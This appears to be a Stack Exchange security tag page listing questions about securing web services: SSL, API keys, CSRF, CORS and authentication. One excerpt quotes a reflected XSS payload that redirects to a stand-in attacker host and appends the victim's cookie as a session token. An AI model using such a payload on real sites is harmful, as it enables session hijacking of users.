A web service is application that provides a standard means of interoperating between different software applications, running on a variety of platforms and/or frameworks - typically using HTTP or HTTPS as a transport layer for object and request models (SOAP, REST, JSON, etc). The output isn't ...

learn more… | top users | synonyms

1
vote
2answers
2k views

POST over HTTPS “secure enough” for sensitive data?

I'm wondering if to prevent the possibility of a compromised SSL certificate leading to the potential for sensitive information disclosure if it might be prudent to further encrypt data being passed ...
-1
votes
2answers
149 views

Are there any mail services that don't store encryption keys?

According to this article => http://www.howtogeek.com/166507/why-most-web-services-dont-use-end-to-end-encryption/ Gmail doesn't store the encryption key. But Gmail reads whole of users' email for ...
1
vote
1answer
80 views

Blocking Internet Monitoring Software

So if a provider has software that blocks you from using their internet to connect to, say, Spotify or Skype. Is there a way to block your computer from communicating that this program is running? Or ...
1
vote
0answers
96 views

Need help to Webservice in Axis2 with https in java

I have written my webservice with https. but as per requirement i should provide authentication. so thought of going with https ssl. could any one help me with steps like moving http to https and ssl ...
4
votes
1answer
430 views

HMAC needed with SSL/AccessToken in place?

Is using an HMAC in web service messages overkill if you are already using SSL and Access Tokens? I’m thinking of further ways to secure a service, and HMAC message signing is one. But it comes with ...
2
votes
2answers
170 views

How to securely provide data to a web server using a data warehouse?

We have a data warehouse that stores prices for our products. Once every business day, new data points are added representing the day's price for each product. On the website, a user sees this ...
-1
votes
2answers
122 views

Executing PHP WeService script by clicking a link within an e-mail

I'm receiving e-mail from my PHP/MySQL application with certain links. I was thinking on including an UUID as part of the link, which would point to a Web Service that ONLY reads those UUIDs. Those ...
4
votes
1answer
135 views

Storing product keys on same server as shop?

Situation: An e-commerce system (specifically: PrestaShop) which is used to sell virtual products (specifically: product license keys). To accelerate order processing, a cronjob is supposed to be ...
5
votes
1answer
1k views

How to secure API (private key) for mobile apps

I am building a web service that has to be only accessible for iOS apps. In the future I want to expand to a mobile website to make my service also available for other mobile operating systems. Now, ...
0
votes
1answer
114 views

Service TO Service Authentication & authorization [duplicate]

I have two web services A and B the requests between those services is http. I want so establish a secure connection between service A and service B to ensure the authorized and authenticate request ...
1
vote
1answer
221 views

How do you limit javascript api to a domain?

Ok, many of you now the scenario: you login to developer.sayLinkedIn.com, create an app with credentials and define the domain in witch that key is allowed to "run". The question is, from a api ...
0
votes
3answers
124 views

Does semi-sensitive information demand encryption / security? [closed]

Since it's been requested that this question be rewritten: Is SSL (or some other encryption equivalent) required in the below case? From a small local business website, is there any damage that an ...
1
vote
1answer
263 views

Is it possible to create secure streaming server

Right now I am thinking for a way to create a secure video streaming server with the following assumption: people can be trusted not to distribute the video they have rights to see. (I think in ...
0
votes
1answer
58 views

Decentralized online shopping service [closed]

Would it be possible to create an online shopping service like Amazon (or Silk Road) but also to make it decentralized so there would no main server users would have to trust with their data? I ...
1
vote
0answers
87 views

Untrusted central server and self-hosted/local client

I am wanting to develop a web service (classic client/server) where the server is not trusted, so is kept (cryptographically) ignorant about the actual content/messages. Obviously, if you don't trust ...
1
vote
2answers
259 views

API - Security design issues

I'm building a GUI Desktop application that will communicate with an API(http) in a webserver. In the client side I have a GUI Desktop application and a GSM Modem(hardware). The GUI Desktop ...
-1
votes
1answer
235 views

Location of server affects the speed of page loading? [closed]

i live in a country but i make a website for another country's users. The web hosting company has server in both of the countries. So where should i buy? Does it affects where the server is depending ...
3
votes
3answers
626 views

What type of SSL certificate do I need for communications between an Android app and a web service?

I am developing a game for Android. The customers using the game will have to send their information to a REST web service that, behind the scenes, will be connected to a MySQL database. I would ...
2
votes
1answer
1k views

Expose web service in a secure manner

Requirement I have a web service I need to expose on the DMZ for external communication. The web service communicates directly with a critical database that sits on an internal net. Current ...
0
votes
1answer
194 views

Does a malicious android WebView break the DoubleSubmittCookie countermeasure against CSRF?

Initial situation: A RESTful webservice defends against CSRF attacks by using the double submit cookie approach. This means that the authentication token gets submitted twice and verified at the ...
1
vote
2answers
211 views

Would multiple exposed bcrypt hashes of the same UUID v4 with random generated salt be too insecure?

I'm looking into implementing an ownership check on JSON objects and want to avoid going back to the database to ensure ownership of said object/record (i.e., to prevent a user from updating an ...
0
votes
3answers
3k views

Malware Suddenly Uploaded To My Website! [duplicate]

This is my first question here on the IT Security section of Stack Exchange, so if there is any problems with my question I apologize. Basics Suddenly Google says that my website contains Malware! ...
1
vote
2answers
5k views

Reflected XSS attack via POST request and XML payload

I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
2
votes
2answers
308 views

Web Service Security Checklist - Tracing and Debugging

I have been reading this security checklist about web service design: http://msdn.microsoft.com/en-us/library/ff648304.aspx One of the suggestions is that you should disable the following in ...
4
votes
2answers
1k views

XSS prevention for RESTful services

A RESTful service is currently protected against XSS attacks by applying XML schema- and entity validation. In both cases this is done via a regular expression like: <xs:pattern ...
5
votes
1answer
1k views

CSRF prevention for RESTful services

Am I right If I claim on that there doesn't exist any reliable protection against CSRF for a stateles environment today? I have a RESTful service (build with RESTEasy) that needs to be secured against ...
5
votes
1answer
397 views

Is there any risk to enabling CORS with a wildcard on S3?

By default, Amazon S3 blocks cross-origin requests. However, it allows users the ability to set up per-bucket CORS policies. It offers fairly elaborate controls for which domains and methods the user ...
1
vote
2answers
390 views

Web Services and WSDL Documentation Protocol

Let us assume that I have a web service in an ASP.NET project. If I turn off the WSDL documentation protocol, will other users be able to: add a service reference to the web service? discover the ...
5
votes
1answer
320 views

Custom web authentication scheme

For a project at work I'm currently implementing a not too large webservice. For reasons of learning something new I tried making it a REST service, which then prompted the issue of authentication. I ...
3
votes
2answers
2k views

Checking SSL\TLS servers for null encryption support

I have a web server supporting SSL 3 and TLS protocols , the following are the supported cipher suites. TLS_RSA_WITH_RC4_128_MD5 TLS_RSA_WITH_RC4_128_SHA TLS_RSA_WITH_3DES_EDE_CBC_SHA How can i ...
1
vote
1answer
436 views

Web application vs web service security

My question is about the difference between usual security expectations from a web application (intended to browser navigation) vs SOAP web service. For a web application, an acceptable solution for ...
0
votes
2answers
330 views

Securing a web service consumed by chrome extension

I'm trying to think of a good security method to secure a web service consumed by a google extension. As known, google chrome extension's source code is open to anyone. My extension mainly deals with ...
3
votes
1answer
451 views

WSS (WSS4J): cleartext password in UsernameToken vs salted password hash in database

I'm currently struggling a little with the security layer of a web service I'm writing using WSS4J and CXF. We obviously do not wish to store plaintext passwords in our backend, but would prefer to ...
5
votes
4answers
4k views

Are there faux/fake malicious websites to test web reputation services similar to EICAR?

Antivirus writers have agreed for their software to recognize a standard "fake" virus file - the EICAR file, to let users check, that the software is up and running. Are there any equivalent test ...
5
votes
2answers
107 views

Preventing fraudulent access to restriced resource on the web?

I'm working on a web application along with a web API and I've been warned against what seems to be a basic vulnerability: not checking that the user making an action has sufficient privileges on the ...
-3
votes
1answer
423 views

Security of web services (REST & SOAP) [closed]

I'm doing a state of the art on web services security. I need every bit of a solution out there that solves concerns about identification, access control, transmission related ones like data ...
2
votes
1answer
299 views

How to Verify the Identity of the Caller of a Web Service

I have a server which is composed of a page and a web service. The web service is intended to be used by a Windows Phone mobile application that I will develop myself. Now, my question is, how do I ...
8
votes
3answers
643 views

How are large tech sites such as LivingSocial, Zappos, LinkedIn and Evernote hacked?

How are large tech sites such as LivingSocial, Zappos, LinkedIn and Evernote hacked? (i.e. how is their entire dataset of users obtained?) LivingSocial - 50 Million Users Exposed Zappos - 24 Million ...
4
votes
2answers
600 views

How Secure are Authenticity Token in Rails

I came across a website which uses Rails Authenticity token to prevent CSRF attacks. My concern here is that I can see the authenticity token in the source code of the web page. If any other service ...
2
votes
1answer
263 views

User Authentication API

I'm developing a web API for a user database that will be used to verify a given username / password combination is valid. I'm just looking for comments / criticism on the following method that I'm ...
1
vote
2answers
166 views

Question about HTTPS [duplicate]

I have a question about HTTPS, which I need help understanding. So if I type: https://www.facebook.com/FOOBAR and as the connection is encrypted, will someone in the middle (say my ISP or someone who ...
-3
votes
1answer
62 views

What is the notion challenge in authetication? [closed]

Can someone help me what is a challenge in authentication wordbook?
1
vote
4answers
1k views

Task Manager and Keyloggers

I know that some of the best keyloggers can't be viewed from the Task Manager. Where can one see if such keyloggers are running on the system? Will they be in the Windows Services or are they hidden ...
2
votes
1answer
107 views

Best practices for setting up client connections to a server with app credentials

The question title is... ugly to say the least. Here's an overview of what I've got: I work on an online tool. Data is sent to it, it processes the data (an intensive task) and sends results back. ...
2
votes
1answer
153 views

What attacks are most likely against SSL/TLS web service sessionid?

I am implementing a web api with which I plan to authorize access by accepting a username and password and system name and returning a sessionid which can be used on subsequent calls to authorize the ...
3
votes
2answers
347 views

Securing Java web services called by web site in DMZ using web services for communication

Suppose you have an application running Java web services in Apache Axis 2. Specifically, these are JAX-WS (Java API for XML-Based Web Services). Currently these web services are on the same Windows ...
1
vote
1answer
911 views

iOS auth/auth with a REST Webservice

we're currently in the design phase of a new "Gateway-Server" which we want to develop. Our server has a REST-Service. My task is to find viable options to protect the access to the aforementionend ...
0
votes
2answers
104 views

Why do services like Twitter have tokens and secrets for 3rd party apps?

I noticed that if you have a 3rd-party Twitter app, you get an access token, and an access token secret, to communicate with Twitter. Why are there two codes? Shouldn't one be enough? Does this mean ...
5
votes
1answer
1k views

Is there cryptographic material in a phone's SIM card that can be used with RSA encryption?

Given that a smart card stores a private key that can't be extracted, it appears that a SIM card is similar to a smart card in these respects. I need to store (or use an existing) private key on a ...
5
votes
3answers
3k views

web services: how prevent illegal accesses

As suggested by someone I post a question here (for the first time). I'm using web services from an Android application. I use https (I bought a SSL certificate). I want to prevent unwanted accesses ...